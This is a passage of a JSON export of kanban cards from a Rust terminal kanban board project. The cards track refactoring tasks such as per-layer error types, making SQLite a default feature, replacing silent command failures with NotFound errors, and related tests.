`PersistenceResult<T>`\n\n6. **Update `kanban-service`**\n   - Service methods return `KanbanResult<T>` as today\n   - `?` operator handles conversion via `#[from]`\n\n7. **Update TUI, CLI, MCP**\n   - Match arms updated where needed\n   - `cargo check` drives this mechanically\n\n## Watch Out For\n\n- `kanban-core` currently has no dependencies on other workspace crates — if `KanbanError` wraps `DomainError`, core would need to depend on domain, inverting the dependency flow. Consider making `kanban-service` own the top-level error instead, with `kanban-core` remaining a pure abstractions crate (traits + result type only).\n- `KanbanResult<T>` type alias must be updated at its definition site\n\n## Acceptance Criteria\n\n- [ ] `DomainError` defined in `kanban-domain` with `NotFound { entity, id }`, `Validation`, `Dependency` variants\n- [ ] `DependencyError` sub-enum with `CycleDetected`, `SelfReference`, `EdgeNotFound`\n- [ ] `PersistenceError` defined in `kanban-persistence`\n- [ ] `KanbanError` in core (or service) wraps both via `#[from]`\n- [ ] No stringly-typed `NotFound(String)` anywhere in the codebase\n- [ ] `cargo test --workspace` passes\n- [ ] `cargo clippy --workspace` passes clean\n- [ ] KAN-171 can use `DomainError::card_not_found(id)` directly in CommandContext helpers",
        "due_date": null,
        "id": "4ceaaf1c-e27d-4f67-ae60-9cda1e8a627c",
        "points": 5,
        "position": 128,
        "priority": "High",
        "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-28T21:44:41.511381383Z",
            "status": "Active"
          }
        ],
        "status": "Done",
        "title": "Per-layer error types: DomainError, PersistenceError, KanbanError",
        "updated_at": "2026-03-29T13:21:24.343853066Z"
      },
      {
        "card_number": 262,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-03-31T00:27:21.336343624Z",
        "created_at": "2026-03-30T23:43:34.351249513Z",
        "description": "Add gitignore rules for *.sqlite3, *-wal, *-shm, and *-journal files. These are generated at runtime by the SQLite persistence backend (WAL mode) and should not be tracked.",
        "due_date": null,
        "id": "400c1770-02f7-4300-bfd8-8587a28354a2",
        "points": null,
        "position": 128,
        "priority": "Low",
        "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-31T22:19:39.943227937Z",
            "status": "Active"
          }
        ],
        "status": "Done",
        "title": "Add *.sqlite3 and SQLite auxiliary files to .gitignore",
        "updated_at": "2026-03-31T22:19:39.943232014Z"
      },
      {
        "card_number": 314,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-06T11:43:32.930113058Z",
        "description": "Avoid vec![Box::new(cmd) as Box<dyn Command>] at every single-command call site",
        "due_date": null,
        "id": "0d44531b-cb7a-4f51-bfeb-47bfe8b08134",
        "points": null,
        "position": 128,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-06T21:44:46.541919760Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Add execute_one(Box<dyn Command>) convenience method to KanbanContext",
        "updated_at": "2026-04-06T21:44:46.541941832Z"
      },
      {
        "card_number": 259,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-03-31T00:27:37.713217227Z",
        "created_at": "2026-03-30T22:36:40.447709496Z",
        "description": "## Problem\n\nThe `sqlite` feature in `kanban-cli` is opt-in, meaning neither `default.nix` nor `nixpkgs/package.nix` ship with SQLite storage support. Users who open a `.db`/`.sqlite`/`.sqlite3` file get no backend match.\n\n## Changes Required\n\n### 1. `crates/kanban-cli/Cargo.toml`\nAdd `sqlite` to the default features:\n```toml\ndefault = [\"tui\", \"sqlite\"]\n```\n\n### 2. `crates/kanban-service/Cargo.toml`\nAdd `sqlite-storage` to the default features:\n```toml\ndefault = [\"json-storage\", \"sqlite-storage\"]\n```\n\n### 3. `default.nix`\nNo changes needed — it already builds with default features (unless `withTui` is false, in which case `--no-default-features` is passed and SQLite would also be excluded, which is fine for the MCP-only use case).\n\n### 4. `nixpkgs package.nix`\nNo changes needed — plain `buildRustPackage` picks up defaults. The sqlx sqlite feature bundles its own SQLite (no extra `nativeBuildInputs` required).\n\n## Build Implications\n\n| Concern | Impact |\n|---|---|\n| Compile time | sqlx + bundled SQLite C compilation adds time to clean builds (~30-60s). Incremental builds unaffected. |\n| Binary size | ~1-2 MB increase from statically linked SQLite engine. |\n| System deps | None — sqlx 0.8 bundles SQLite by default, no system library needed. |\n| Cross-platform | SQLite C code compiles everywhere Rust does, `platforms = all` stays valid. |\n| Runtime | Zero cost if user never opens a SQLite file — factory just registers in StoreRegistry. |\n\n## Affected Crates\n- `kanban-cli` (feature gate)\n- `kanban-service` (feature gate)\n- `kanban-tui` (already has `sqlite` feature, will be activated transitively via `kanban-cli`)",
        "due_date": null,
        "id": "e493a62a-ab92-4f4d-b5b8-573770b3c049",
        "points": null,
        "position": 129,
        "priority": "Medium",
        "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-31T22:19:48.638721027Z",
            "status": "Active"
          }
        ],
        "status": "Done",
        "title": "Make SQLite a default feature in kanban-cli",
        "updated_at": "2026-03-31T22:19:48.638724848Z"
      },
      {
        "card_number": 258,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-03-31T00:28:05.528006166Z",
        "created_at": "2026-03-30T00:16:19.729346769Z",
        "description": "## Context\n\nKAN-256 fixed SQLite `.db` loading by adding a second async load path in `run()`, but introduced some issues worth cleaning up.\n\n## Issues to Address\n\n1. **Extension allowlist duplicates `SqliteStoreFactory::matches`** — hardcoded `\"db\" | \"sqlite\" | \"sqlite3\"` in `App::new()` must stay in sync with the factory. Unify by always deferring to `store.load()` when `state_manager.store().is_some()`, removing the extension check entirely.\n\n2. **JSON files get loaded twice** — once via `import_board_from_file` in `new()`, then again via `store.load()` in `run()` (since `JsonStoreFactory` also creates a store). The store load wins but the first is wasted work with double migration.\n\n3. **Restore removed comment** — `// Clear undo/redo history after initial file load (not an undoable action)` was removed without reason.\n\n4. **No test for async store load path** — add an integration test that creates a SQLite store, saves data, and verifies it loads correctly on startup.\n\n## Proposed Fix\n\nMake `store.load()` in `run()` the **only** initial load path when a store exists. Remove `import_board_from_file` from `new()` entirely. Adjust `test_failed_import_clears_save_file` to test through the async path.",
        "due_date": null,
        "id": "f0e538f0-6027-44bd-b443-f4c0185edece",
        "points": 1,
        "position": 129,
        "priority": "Medium",
        "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-31T22:20:28.012629189Z",
            "status": "Active"
          }
        ],
        "status": "Done",
        "title": "Unify initial file loading path (follow-up to KAN-256)",
        "updated_at": "2026-03-31T22:20:28.012633240Z"
      },
      {
        "card_number": 306,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-05T11:43:27.299929945Z",
        "description": "In apply_config_edit, the inline path resolution (is_absolute / current_dir().join) duplicates logic from resolve_storage_location. Extract a private is_same_location(loc: &str, resolved: &str) -> bool helper that delegates to resolve_storage_location to eliminate the duplication and the hidden dependency on from_config serialising absolute paths.",
        "due_date": null,
        "id": "4c374d7e-5600-4675-80f5-5d4ce72c58db",
        "points": null,
        "position": 129,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-06T21:44:46.541931189Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Extract strip_storage path resolution into helper",
        "updated_at": "2026-04-06T21:44:46.541951117Z"
      },
      {
        "card_number": 263,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-03-31T22:19:31.547809119Z",
        "created_at": "2026-03-31T00:48:14.077181590Z",
        "description": "The current `migrate` CLI is awkward: `--from` specifies the source file and `--to` specifies an output file whose extension determines the target backend type. \n\nInstead, make the target backend a positional parameter and the filename an argument to the migrate command. \n\nThis is more explicit and less surprising than inferring the backend from the file extension.\n",
        "due_date": null,
        "id": "6226a2cb-fe89-474f-aa6d-a50466c69b8a",
        "points": null,
        "position": 130,
        "priority": "Medium",
        "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-31T22:19:34.634194257Z",
            "status": "Active"
          }
        ],
        "status": "Done",
        "title": "Rework migrate CLI: backend as positional arg, filename as option",
        "updated_at": "2026-03-31T22:19:34.634197710Z"
      },
      {
        "card_number": 307,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-05T11:47:42.730243629Z",
        "description": "test_open_config_editor_skips_apply_when_content_matches only validates the trim() comparison in isolation — it does not assert that apply_config_edit is actually not called. Replace with an integration-level assertion that verifies the absence of side effects (e.g. config file not written, migration_state stays Idle) when the editor returns unchanged content.",
        "due_date": null,
        "id": "84ad89f7-f5d0-4b2a-a84b-db1f90ebae02",
        "points": null,
        "position": 130,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-06T21:44:46.541920709Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Strengthen open_config_editor no-op guard test",
        "updated_at": "2026-04-06T21:44:46.541942662Z"
      },
      {
        "card_number": 315,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-06T11:43:33.188596273Z",
        "description": "Replace O(n²) nested iteration in ImportEntities with HashSets built once before the loop",
        "due_date": null,
        "id": "8a192cbd-80e6-4fa0-84cd-7a24af4ddfa0",
        "points": null,
        "position": 131,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-06T21:44:46.541926551Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Optimize ImportEntities duplicate check: pre-build HashSets outside loop",
        "updated_at": "2026-04-06T21:44:46.541946971Z"
      },
      {
        "card_number": 277,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-03-31T22:23:18.994857003Z",
        "created_at": "2026-03-31T22:23:04.534347252Z",
        "description": "https://github.com/agarrharr/awesome-cli-apps\n",
        "due_date": null,
        "id": "2831e31b-8fda-4960-8855-f76a37cc7f81",
        "points": 1,
        "position": 131,
        "priority": "Medium",
        "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-31T22:23:23.319610648Z",
            "status": "Active"
          }
        ],
        "status": "Done",
        "title": "Contribute to awesome-cli-apps",
        "updated_at": "2026-03-31T22:23:23.319614821Z"
      },
      {
        "card_number": 261,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-03-31T22:23:20.146634974Z",
        "created_at": "2026-03-30T23:01:37.638159500Z",
        "description": "Submit PR to rust-unofficial/awesome-rust adding kanban to the Productivity section. Format: [fulsomenko/kanban](https://github.com/fulsomenko/kanban) [[kanban-tui](https://crates.io/crates/kanban-tui)] - A terminal-based kanban board and project management tool inspired by lazygit. Entry goes alphabetically between espanso and eureka (by 'f'). Requires: stars > 50 (currently 85) or downloads > 2000. Add CI badge. See existing PRs: awesome-tuis#406, awesome-ratatui#199.",
        "due_date": null,
        "id": "6dc1621d-c398-4e2f-a354-5c85bbe9d87e",
        "points": 1,
        "position": 132,
        "priority": "Medium",
        "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-31T22:23:25.294856070Z",
            "status": "Active"
          }
        ],
        "status": "Done",
        "title": "Contribute to awesome-rust productivity section",
        "updated_at": "2026-03-31T22:23:25.294860326Z"
      },
      {
        "card_number": 308,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-05T11:47:42.744559782Z",
        "description": "test_apply_config_edit_with_cli_override_unloads_when_storage_explicitly_provided sets has_data_file=false to skip migration. Add a complementary test with has_data_file=true to verify that apply_storage_location_change is called correctly (migration dialog triggered from CLI path to newly-provided storage) after the override is dropped.",
        "due_date": null,
        "id": "168ee654-0595-4aba-b7aa-dfbe4cb38acc",
        "points": null,
        "position": 132,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-06T21:44:46.541930275Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Add test for CLI override unlock with has_data_file=true",
        "updated_at": "2026-04-06T21:44:46.541950269Z"
      },
      {
        "card_number": 300,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-04-04T23:19:06.810027693Z",
        "created_at": "2026-04-04T23:11:47.844701277Z",
        "description": null,
        "due_date": null,
        "id": "95ee70a6-29c1-46f6-99f0-b8c37cffa196",
        "points": null,
        "position": 133,
        "priority": "Medium",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Done",
        "title": "make version readout of web/landing dynamic",
        "updated_at": "2026-04-04T23:19:06.810027997Z"
      },
      {
        "card_number": 316,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-06T11:43:33.441627423Z",
        "description": "Check is_dirty() inside save() or at call sites to avoid unnecessary I/O on no-op operations",
        "due_date": null,
        "id": "89f9c5ac-f679-46a8-8872-9ec8a9c01296",
        "points": null,
        "position": 133,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-06T21:44:46.541921625Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Skip save() I/O when context is not dirty",
        "updated_at": "2026-04-06T21:44:46.541943588Z"
      },
      {
        "card_number": 171,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-04-04T23:29:54.365071575Z",
        "created_at": "2026-01-10T12:08:03.107070Z",
        "description": "## Blocked by\n\n[x] KAN-235 (Per-layer error types: DomainError, PersistenceError, KanbanError) must land first.\nOnce KAN-235 is done, replace all `KanbanError::NotFound` references in this card with `DomainError::card_not_found(id)` etc., and all helpers return `DomainResult<T>`.\n\n## Problem\n\nCommands return `Ok(())` even when the target entity does not exist. Failed operations go undetected with no audit trail, causing silent data loss — the caller believes the operation succeeded when nothing changed.\n\n## Key Finding\n\n`KanbanError::NotFound` and `KanbanError::Validation` variants **already exist** in `crates/kanban-core/src/error.rs`. No changes to error.rs are needed.\n\n## CommandContext Location\n\n`CommandContext` is defined in `crates/kanban-domain/src/commands/mod.rs` (not context.rs). It holds flat `Vec` references:\n\n```rust\npub struct CommandContext<'a> {\n    pub boards: &'a mut Vec<Board>,\n    pub columns: &'a mut Vec<Column>,\n    pub cards: &'a mut Vec<Card>,\n    pub sprints: &'a mut Vec<Sprint>,\n    pub archived_cards: &'a mut Vec<ArchivedCard>,\n    pub graph: &'a mut DependencyGraph,\n}\n```\n\nCurrently has **no helper methods** — all lookups are inline `iter_mut().find(...)`.\n\n## Step 1 — Add Helper Methods to CommandContext\n\nAdd these 5 methods to the `CommandContext` impl block in `crates/kanban-domain/src/commands/mod.rs`:\n\n```rust\nimpl<'a> CommandContext<'a> {\n    pub fn get_board_mut(&mut self, id: Uuid) -> KanbanResult<&mut Board> {\n        self.boards.iter_mut().find(|b| b.id == id)\n            .ok_or_else(|| KanbanError::NotFound(format\\!(\"Board {}\", id)))\n    }\n\n    pub fn get_card_mut(&mut self, id: Uuid) -> KanbanResult<&mut Card> {\n        self.cards.iter_mut().find(|c| c.id == id)\n            .ok_or_else(|| KanbanError::NotFound(format\\!(\"Card {}\", id)))\n    }\n\n    pub fn get_column_mut(&mut self, id: Uuid) -> KanbanResult<&mut Column> {\n        self.columns.iter_mut().find(|c| c.id == id)\n            .ok_or_else(|| KanbanError::NotFound(format\\!(\"Column {}\", id)))\n    }\n\n    pub fn get_sprint_mut(&mut self, id: Uuid) -> KanbanResult<&mut Sprint> {\n        self.sprints.iter_mut().find(|s| s.id == id)\n            .ok_or_else(|| KanbanError::NotFound(format\\!(\"Sprint {}\", id)))\n    }\n\n    pub fn get_archived_card_mut(&mut self, card_id: Uuid) -> KanbanResult<&mut ArchivedCard> {\n        self.archived_cards.iter_mut().find(|ac| ac.card.id == card_id)\n            .ok_or_else(|| KanbanError::NotFound(format\\!(\"Archived card {}\", card_id)))\n    }\n}\n```\n\n## Step 2 — Update All Silent-Failing Commands (15 locations)\n\nReference implementation already exists: `DeleteColumn` in `column_commands.rs` and dependency commands already use `?` propagation correctly.\n\n### board_commands.rs\n\n**UpdateBoard** (line ~31)\n```rust\n// Before\nif let Some(board) = context.boards.iter_mut().find(|b| b.id == self.board_id) {\n    board.update(self.updates.clone());\n}\nOk(())\n\n// After\ncontext.get_board_mut(self.board_id)?.update(self.updates.clone());\nOk(())\n```\n\n**SetBoardTaskSort** (line ~51)\n```rust\n// After\ncontext.get_board_mut(self.board_id)?.update_task_sort(self.field, self.order);\nOk(())\n```\n\n**SetBoardTaskListView** (line ~70)\n```rust\n// After\ncontext.get_board_mut(self.board_id)?.update_task_list_view(self.view);\nOk(())\n```\n\n### card_commands.rs\n\n**UpdateCard** (line ~15)\n```rust\n// After\ncontext.get_card_mut(self.card_id)?.update(self.updates.clone());\nOk(())\n```\n\n**CreateCard** (line ~37) — currently does the board lookup twice and silently fails if not found\n```rust\n// After — fail fast with a single lookup\nlet board = context.get_board_mut(self.board_id)?;\nlet prefix = board.card_prefix.as_deref().unwrap_or(\"task\").to_string();\n// ... rest of card creation using prefix\n```\n\n**MoveCard** (line ~105) — also add column validation\n```rust\n// After\nif \\!context.columns.iter().any(|c| c.id == self.new_column_id) {\n    return Err(KanbanError::NotFound(format\\!(\"Column {}\", self.new_column_id)));\n}\ncontext.get_card_mut(self.card_id)?.move_to_column(self.new_column_id, self.new_position);\nOk(())\n```\n\n**ArchiveCard** (line ~126) — uses `position()` so cannot use helper directly\n```rust\n// After\nlet pos = context.cards.iter().position(|c| c.id == self.card_id)\n    .ok_or_else(|| KanbanError::NotFound(format\\!(\"Card {}\", self.card_id)))?;\nlet card = context.cards.remove(pos);\n// ... rest of archive logic\n```\n\n**RestoreCard** (line ~151)\n```rust\n// After\nlet pos = context.archived_cards.iter().position(|ac| ac.card.id == self.card_id)\n    .ok_or_else(|| KanbanError::NotFound(format\\!(\"Archived card {}\", self.card_id)))?;\nlet archived = context.archived_cards.remove(pos);\n// ... rest of restore logic\n```\n\n**AssignCardToSprint** (line ~200)\n```rust\n// After\ncontext.get_card_mut(self.card_id)?.assign_to_sprint(self.sprint_id, ...);\nOk(())\n```\n\n**UnassignCardFromSprint** (line ~230)\n```rust\n// After\ncontext.get_card_mut(self.card_id)?.unassign_from_sprint(...);\nOk(())\n```\n\n### column_commands.rs\n\n**UpdateColumn** (line ~13)\n```rust\n// After\ncontext.get_column_mut(self.column_id)?.update(self.updates.clone());\nOk(())\n```\n\n### sprint_commands.rs\n\n**UpdateSprint** (line ~14) — also syncs sprint name to board, keep that logic\n```rust\n// After\nlet sprint = context.get_sprint_mut(self.sprint_id)?;\nlet board_id = sprint.board_id;\nsprint.update(self.updates.clone());\nif let Some(ref name) = self.updates.name {\n    if let Ok(board) = context.get_board_mut(board_id) {\n        board.update_sprint_name(..., name);\n    }\n}\nOk(())\n```\nNote: the board name sync can remain a soft fail (board may have been deleted).\n\n**ActivateSprint** (line ~75)\n```rust\n// After\ncontext.get_sprint_mut(self.sprint_id)?.activate(self.duration_days);\nOk(())\n```\n\n**CompleteSprint** (line ~93)\n```rust\n// After\ncontext.get_sprint_mut(self.sprint_id)?.complete();\nOk(())\n```\n\n**CancelSprint** (line ~111)\n```rust\n// After\ncontext.get_sprint_mut(self.sprint_id)?.cancel();\nOk(())\n```\n\n### dependency_commands.rs\n\n**CreateSubcardCommand** (line ~144) — board lookup silently fails\n```rust\n// After\nlet prefix = context.get_board_mut(self.board_id)?.card_prefix.clone();\n```\n\n## Step 3 — Add Tests\n\nFollow the pattern from `dependency_commands.rs` tests. Add a test module to each command file (or extend existing ones):\n\n```rust\n#[cfg(test)]\nmod tests {\n    #[test]\n    fn update_board_not_found_returns_error() {\n        let mut ctx = create_minimal_context();\n        let cmd = UpdateBoard { board_id: Uuid::new_v4(), updates: Default::default() };\n        assert\\!(matches\\!(\n            cmd.execute(&mut ctx),\n            Err(KanbanError::NotFound(_))\n        ));\n    }\n\n    // Same pattern for each command\n}\n```\n\n## Files to Modify\n\n| File | Changes |\n|------|---------|\n| `crates/kanban-domain/src/commands/mod.rs` | Add 5 helper methods to CommandContext impl |\n| `crates/kanban-domain/src/commands/board_commands.rs` | Fix 3 commands |\n| `crates/kanban-domain/src/commands/card_commands.rs` | Fix 7 commands (UpdateCard, CreateCard, MoveCard, ArchiveCard, RestoreCard, AssignCardToSprint, UnassignCardFromSprint) |\n| `crates/kanban-domain/src/commands/column_commands.rs` | Fix 1 command |\n| `crates/kanban-domain/src/commands/sprint_commands.rs` | Fix 4 commands |\n| `crates/kanban-domain/src/commands/dependency_commands.rs` | Fix 1 command (CreateSubcardCommand) |\n\n## Acceptance Criteria\n\n- [ ] 5 helper methods added to `CommandContext` in `mod.rs`\n- [ ] All 15 silent-failing commands return `Err(KanbanError::NotFound(...))` when entity is missing\n- [ ] `MoveCard` also validates the target column exists\n- [ ] `CreateCard` validates the board exists before creating\n- [ ] `UpdateSprint` board name sync remains a soft-fail\n- [ ] `CreateSubcardCommand` fails properly if board not found\n- [ ] Tests added: at minimum one `_not_found_returns_error` test per command file\n- [ ] `cargo test --package kanban-domain` passes\n- [ ] `cargo clippy --package kanban-domain` passes clean\n",
        "due_date": null,
        "id": "821df106-c0a7-408b-81fa-50eb4ae93b96",
        "points": 5,
        "position": 134,
        "priority": "High",
        "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
        "sprint_logs": [
          {
            "ended_at": "2026-02-01T19:39:40.784575Z",
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2026-01-28T08:47:10.923205Z",
            "status": "Completed"
          },
          {
            "ended_at": "2026-03-25T00:22:42.743056942Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T19:39:40.784575Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.743057279Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "Replace Silent Failures with Proper Errors",
        "updated_at": "2026-04-04T23:30:12.265965564Z"
      },
      {
        "card_number": 309,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-05T11:47:42.757594378Z",
        "description": "The .changeset file for KAN-305 lists only 4 of 6 fixes. Missing entries: fix(tui): CLI-supplied storage path is always session-only; fix(tui): unchanged storage not written to config; fix(tui): CLI override unloadable via config editor; feat(tui): three-way storage label routing (cli_file_provided flag). Add these so the generated CHANGELOG.md is complete.",
        "due_date": null,
        "id": "86859c89-7634-4d0a-8fc9-d6a2661102a1",
        "points": null,
        "position": 134,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-06T21:44:46.541928380Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Complete KAN-305 changeset entries",
        "updated_at": "2026-04-06T21:44:46.541948532Z"
      },
      {
        "card_number": 311,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-05T12:21:03.292337624Z",
        "description": "## Goal\nTrack sprint velocity and burndown data so completed work can be reviewed after a sprint closes.\n\n## Scope\n- Add `committed_points` and `completed_points` to the Sprint model\n- Capture a `BurndownEntry { date, remaining_points, completed_points }` whenever a card status changes within an active sprint\n- Calculate velocity on sprint completion and store it on the sprint record\n- Add a migration for existing sprints (fields default to null/empty)\n\n## Out of scope\nTUI visualization (charts, burndown graph) — that is a separate card.\n\n## Acceptance Criteria\n- [ ] Sprint stores committed vs completed points at completion time\n- [ ] Burndown entries are appended on each card status change during an active sprint\n- [ ] Velocity is calculated and persisted when a sprint is completed\n- [ ] Existing sprints load without error after migration\n- [ ] Unit tests for velocity calculation and burndown accumulation",
        "due_date": null,
        "id": "7f165e72-b3f4-4260-9713-6825004f3555",
        "points": 5,
        "position": 135,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-06T21:44:46.541933900Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Sprint velocity and burndown tracking",
        "updated_at": "2026-04-06T21:44:46.541953723Z"
      },
      {
        "card_number": 299,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-04-06T21:43:06.253363734Z",
        "created_at": "2026-04-04T23:05:17.900273527Z",
        "description": null,
        "due_date": null,
        "id": "e165eb8c-7673-42d7-b6a1-0f9960cfa27a",
        "points": 5,
        "position": 135,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:39.968810176Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "Extract ui.rs into reusable components and view submodules",
        "updated_at": "2026-04-06T21:43:06.253364696Z"
      },
      {
        "card_number": 318,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-06T13:28:54.200998180Z",
        "description": "From PR #213 review. The execute() API now takes Vec<Box<dyn Command>>, which requires wrapping every single-command call site with vec\\![Box::new(cmd) as Box<dyn Command>]. There are ~100 such sites in kanban-tui alone. Consider a cmd\\!() macro or a single() helper fn: fn cmd(c: impl Command + 'static) -> Vec<Box<dyn Command>> { vec\\![Box::new(c)] }. Low priority cleanup.",
        "due_date": null,
        "id": "22209f66-0f52-45c5-b8a6-4e5576287630",
        "points": 2,
        "position": 136,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-06T21:44:46.541932998Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Add helper to reduce vec\\![Box::new(...) as Box<dyn Command>] boilerplate",
